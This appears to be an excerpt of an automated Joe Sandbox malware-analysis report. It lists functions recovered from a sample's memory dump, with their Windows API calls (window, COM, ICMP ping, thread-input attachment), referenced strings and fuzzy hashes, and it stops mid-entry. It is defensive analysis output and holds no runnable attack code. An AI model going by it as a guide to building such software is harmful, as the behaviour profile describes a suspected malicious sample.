Instruction Fuzzy Hash: EA518170500245FEEF20FB288C89FA97BA5FB15724FA04225FA51E61E1DFB1A980CB51

Function 00809837 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 146COMMON

Download Yara Rule

APIs

__itow.LIBCMT ref: 00809862
__swprintf.LIBCMT ref: 008098AC
__i64tow.LIBCMT ref: 0083F5E6

Strings

False, xrefs: 0083F5AE
%.15g, xrefs: 008098A6
0x%p, xrefs: 0083F5C8
True, xrefs: 0083F5A7

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: __i64tow__itow__swprintf
String ID: %.15g$0x%p$False$True
API String ID: 421087845-2263619337
Opcode ID: e186dc3d2aecc3b9a5d154d55cb0ce232c774c460c516ff34b406347dd8b10da
Instruction ID: 2d3cb70a62d1b56c893845242136405ad45504da493a7bb4b2eef34211b142e4
Opcode Fuzzy Hash: e186dc3d2aecc3b9a5d154d55cb0ce232c774c460c516ff34b406347dd8b10da
Instruction Fuzzy Hash: 4841B271904209AFDB24AF38DC46A7A73E8FF45304F20447EE589D6393EA35A941CB91

Function 008874BB Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0088755E
CreateCompatibleDC.GDI32(00000000), ref: 00887565
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00887578
SelectObject.GDI32(00000000,00000000), ref: 00887580
GetPixel.GDI32(00000000,00000000,00000000), ref: 0088758B
DeleteDC.GDI32(00000000), ref: 00887594
GetWindowLongW.USER32(?,000000EC), ref: 0088759E
SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 008875B2
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 008875BE

Strings

static, xrefs: 008874F6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 7a9b0b18de13a91b3a7bf2bee21a4c239ace71e2fb9d60404c5b16b223f64148
Instruction ID: 8b90590a892c37161ad562225a503597ed64d48c26d416b7365ea69b73587477
Opcode Fuzzy Hash: 7a9b0b18de13a91b3a7bf2bee21a4c239ace71e2fb9d60404c5b16b223f64148
Instruction Fuzzy Hash: 10316A32104215ABDF12AF68DC09FEA3B79FF49320F210224FA15E61A1D731D821DBA4

Function 00826E03 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00826E3E

Part of subcall function 00828B28: __getptd_noexit.LIBCMT ref: 00828B28

__gmtime64_s.LIBCMT ref: 00826ED7
__gmtime64_s.LIBCMT ref: 00826F0D
__gmtime64_s.LIBCMT ref: 00826F2A
__allrem.LIBCMT ref: 00826F80
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00826F9C
__allrem.LIBCMT ref: 00826FB3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00826FD1
__allrem.LIBCMT ref: 00826FE8
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00827006
__invoke_watson.LIBCMT ref: 00827077

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: cfe2db2517d69aa1237f82bcd127610e5447ee2290bf33b97d6eef37930c4d6b
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 6571E476A00B26ABDB14AE7DEC41B5AB3A8FF44324F14422AF514D7281F770EA9487D1

Function 00862527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00862542
GetMenuItemInfoW.USER32(008C5890,000000FF,00000000,00000030), ref: 008625A3
SetMenuItemInfoW.USER32(008C5890,00000004,00000000,00000030), ref: 008625D9
Sleep.KERNEL32(000001F4), ref: 008625EB
GetMenuItemCount.USER32(?), ref: 0086262F
GetMenuItemID.USER32(?,00000000), ref: 0086264B
GetMenuItemID.USER32(?,-00000001), ref: 00862675
GetMenuItemID.USER32(?,?), ref: 008626BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00862700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00862714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00862735

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: 07b193f05f5846ff54f20494d4f7881996dd4a7ba184b50283de3cfa88adc4e5
Instruction ID: 5f77916c4306bb96d290a1adb4692ca7c0b16e3ec28088f1cf32cb53b6a552b0
Opcode Fuzzy Hash: 07b193f05f5846ff54f20494d4f7881996dd4a7ba184b50283de3cfa88adc4e5
Instruction Fuzzy Hash: 1F61B2B0900A49AFDF21DFA8DC88DBE7BB9FB01348F1541A9E942E7251D731AD05DB21

Function 00856B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00856BBF
SafeArrayAllocData.OLEAUT32(?), ref: 00856C18
VariantInit.OLEAUT32(?), ref: 00856C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00856C4A
VariantCopy.OLEAUT32(?,?), ref: 00856C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00856CB1
VariantClear.OLEAUT32(?), ref: 00856CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 00856CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00856CDC
VariantClear.OLEAUT32(?), ref: 00856CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00856CF9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 92a8d98c32f66243b0dc7bfcb78b0430f8cc4630672b7a94796ccbd8cfd43e89
Instruction ID: 2b04cb8110c6923de0cd8f13b8e394a532634b6bed7f849e9b395470b9e3a055
Opcode Fuzzy Hash: 92a8d98c32f66243b0dc7bfcb78b0430f8cc4630672b7a94796ccbd8cfd43e89
Instruction Fuzzy Hash: D6415E71A002199FCF00DFA8D8449AEBBB9FF08355F408069ED55E7262DB30AD59CB95

Function 0088D43E Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00802612: GetWindowLongW.USER32(?,000000EB), ref: 00802623

GetSystemMetrics.USER32(0000000F), ref: 0088D47C
GetSystemMetrics.USER32(0000000F), ref: 0088D49C
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0088D6D7
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0088D6F5
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0088D716
ShowWindow.USER32(00000003,00000000), ref: 0088D735
InvalidateRect.USER32(?,00000000,00000001), ref: 0088D75A
DefDlgProcW.USER32(?,00000005,?,?), ref: 0088D77D

Strings

S, xrefs: 0088D4E9

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID: S
API String ID: 1211466189-2858979982
Opcode ID: e661aef72ca0bd7657d5dbd3fea7ac2b428fa2345ed19e892708bbdfb318ae4f
Instruction ID: f1db07af3c28e6ba889f04e05b2b7142538fb32d280bc264a109cf1817897a39
Opcode Fuzzy Hash: e661aef72ca0bd7657d5dbd3fea7ac2b428fa2345ed19e892708bbdfb318ae4f
Instruction Fuzzy Hash: EEB17A71600219EFDF14EF68C985BAD7BB1FF08711F088169ED58DB295E734A990CB90

Function 008783BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00809837: __itow.LIBCMT ref: 00809862
Part of subcall function 00809837: __swprintf.LIBCMT ref: 008098AC

CoInitialize.OLE32 ref: 00878403
CoUninitialize.OLE32 ref: 0087840E
CoCreateInstance.OLE32(?,00000000,00000017,00892BEC,?), ref: 0087846E
IIDFromString.OLE32(?,?), ref: 008784E1
VariantInit.OLEAUT32(?), ref: 0087857B
VariantClear.OLEAUT32(?), ref: 008785DC

Strings

Failed to create object, xrefs: 00878479, 0087852F
NULL Pointer assignment, xrefs: 008784B3
Invalid parameter, xrefs: 008784FA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 95bac8777e34838809ceab58dbda8eebbbf7881986ecb53d8398f03d66f38f74
Instruction ID: 6f7bdaa70f8f9a952785ec6caf8b76470009e12566240bb4e6f0df814dc5a297
Opcode Fuzzy Hash: 95bac8777e34838809ceab58dbda8eebbbf7881986ecb53d8398f03d66f38f74
Instruction Fuzzy Hash: ED617B70648312DFC710DF28C849A6ABBE8FF49754F048519F989DB292CB70ED48CB96

Function 00875732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00875793
inet_addr.WSOCK32(?,?,?), ref: 008757D8
gethostbyname.WSOCK32(?), ref: 008757E4
IcmpCreateFile.IPHLPAPI ref: 008757F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00875862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00875878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 008758ED
WSACleanup.WSOCK32 ref: 008758F3

Strings

Ping, xrefs: 00875816

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 4887329cf11b086acc871a99f30d9898909538e29c107c673e0a247d5ce920e0
Instruction ID: 23b5532bc70271d9c041daaf96e742a4802de1ce1ccf6c1634f6736f9f2af605
Opcode Fuzzy Hash: 4887329cf11b086acc871a99f30d9898909538e29c107c673e0a247d5ce920e0
Instruction Fuzzy Hash: 0F516F716046009FDB10AF28DC85B2A7BE4FF48724F148569F99ADB2E5DB70E900DB52

Function 0086B4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0086B4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0086B546
GetLastError.KERNEL32 ref: 0086B550
SetErrorMode.KERNEL32(00000000,READY), ref: 0086B5BD

Strings

NOTREADY, xrefs: 0086B57C
READONLY, xrefs: 0086B588
UNKNOWN, xrefs: 0086B575
READY, xrefs: 0086B596
INVALID, xrefs: 0086B58F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: e585f0ea3804a9f4d1540375ff6dabd6c7e368b7add80948e90b65362a00aa1b
Instruction ID: e41dd9c973ac94c7229e6228edd5bb75be086ec9484acbda04886bd3f80c94bf
Opcode Fuzzy Hash: e585f0ea3804a9f4d1540375ff6dabd6c7e368b7add80948e90b65362a00aa1b
Instruction Fuzzy Hash: 48318F35A00209EFCB11EF68CC89AEE7BB4FF09318F114125E616DB292DB709A81CB51

Function 00858F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00859014
GetDlgCtrlID.USER32 ref: 0085901F
GetParent.USER32 ref: 0085903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 0085903E
GetDlgCtrlID.USER32(?), ref: 00859047
GetParent.USER32(?), ref: 00859063
SendMessageW.USER32(00000000,?,?,00000111), ref: 00859066

Strings

ListBox, xrefs: 00858FD1
ComboBox, xrefs: 00858F9C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 2e9257acc5b61b019a24339f9c842b27b389ebb688fa67bad46dcbd4ea6733ad
Instruction ID: e606a06227a374939b7b3a8a89d78725f13c6c417e9d649d290320f7a04063bd
Opcode Fuzzy Hash: 2e9257acc5b61b019a24339f9c842b27b389ebb688fa67bad46dcbd4ea6733ad
Instruction Fuzzy Hash: 8621A170A00108BBDF15ABA8CC85EFEBB65FF59310F100265FA61972E2EB755819DB21

Function 0085907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00807DE1: _memmove.LIBCMT ref: 00807E22

Part of subcall function 0085AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0085AABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 008590FD
GetDlgCtrlID.USER32 ref: 00859108
GetParent.USER32 ref: 00859124
SendMessageW.USER32(00000000,?,00000111,?), ref: 00859127
GetDlgCtrlID.USER32(?), ref: 00859130
GetParent.USER32(?), ref: 0085914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 0085914F

Strings

ListBox, xrefs: 008590BC
ComboBox, xrefs: 00859087

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: cc54ae8cc96ee4e6b1b4a36c970ecc37e752ea0ca9210986b8f4795f66856875
Instruction ID: b704d4391ee5c16b2d55d0f348299b8520abd9122e158bd1d6ed0d8f0dfca833
Opcode Fuzzy Hash: cc54ae8cc96ee4e6b1b4a36c970ecc37e752ea0ca9210986b8f4795f66856875
Instruction Fuzzy Hash: 4921C474A00108BBDF11ABA8CC85EFEBB65FF55301F100115FA51D72A2EB795419DB21

Function 00859163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0085916F
GetClassNameW.USER32(00000000,?,00000100), ref: 00859184
_wcscmp.LIBCMT ref: 00859196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00859211

Strings

list, xrefs: 008591F3
SHELLDLL_DefView, xrefs: 00859190
largeicons, xrefs: 008591A5
smallicons, xrefs: 008591D9
details, xrefs: 008591BF

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: 860e1113e6603673840a4c2b644293898a69d13b92cd9859c8af42cb50e514ec
Instruction ID: 3ed7c647c962af8c418de9b52b1dfe221d9bc3cfe44614226353583cc7c83ec6
Opcode Fuzzy Hash: 860e1113e6603673840a4c2b644293898a69d13b92cd9859c8af42cb50e514ec
Instruction Fuzzy Hash: E1112C3A288327F9FA212628EC06DE73B9CFB15721F200026FE20E41D2FF6968556655

Function 008788AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 008788D7
CoInitialize.OLE32(00000000), ref: 00878904
CoUninitialize.OLE32 ref: 0087890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00878A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00878B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00892C0C), ref: 00878B6F
CoGetObject.OLE32(?,00000000,00892C0C,?), ref: 00878B92
SetErrorMode.KERNEL32(00000000), ref: 00878BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00878C25
VariantClear.OLEAUT32(?), ref: 00878C35

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: ba70dfbe8da7d5f448c1103ddb91926ca76ce7da009012bf7cb5691948119a1a
Instruction ID: 88a7e0c925591abad47e7a1147383c0dbc64cb559e3b47d824966f62b7102d88
Opcode Fuzzy Hash: ba70dfbe8da7d5f448c1103ddb91926ca76ce7da009012bf7cb5691948119a1a
Instruction Fuzzy Hash: CCC103B1604305AFC700DF68C88892AB7E9FF89358F00896DF59ADB251DB71ED05CB52

Function 00867990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00867A6C

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: aeef990bf2c803ec0e97c872925e0dd3f62db086e3ce383480dd8d97ef448e3b
Instruction ID: 7f9eebb2eb27108c69c1d02f2750bb8dd1ea9ef46e01ed282a0f8aa33351f608
Opcode Fuzzy Hash: aeef990bf2c803ec0e97c872925e0dd3f62db086e3ce383480dd8d97ef448e3b
Instruction Fuzzy Hash: B3B1AF7190421A9FDB10DFA8D885BBEB7F4FF09329F224429E641EB291D734A941CBD1

Function 008611CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 008611F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00860268,?,00000001), ref: 00861204
GetWindowThreadProcessId.USER32(00000000), ref: 0086120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00860268,?,00000001), ref: 0086121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0086122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00860268,?,00000001), ref: 00861245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00860268,?,00000001), ref: 00861257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00860268,?,00000001), ref: 0086129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00860268,?,00000001), ref: 008612B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00860268,?,00000001), ref: 008612BC

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
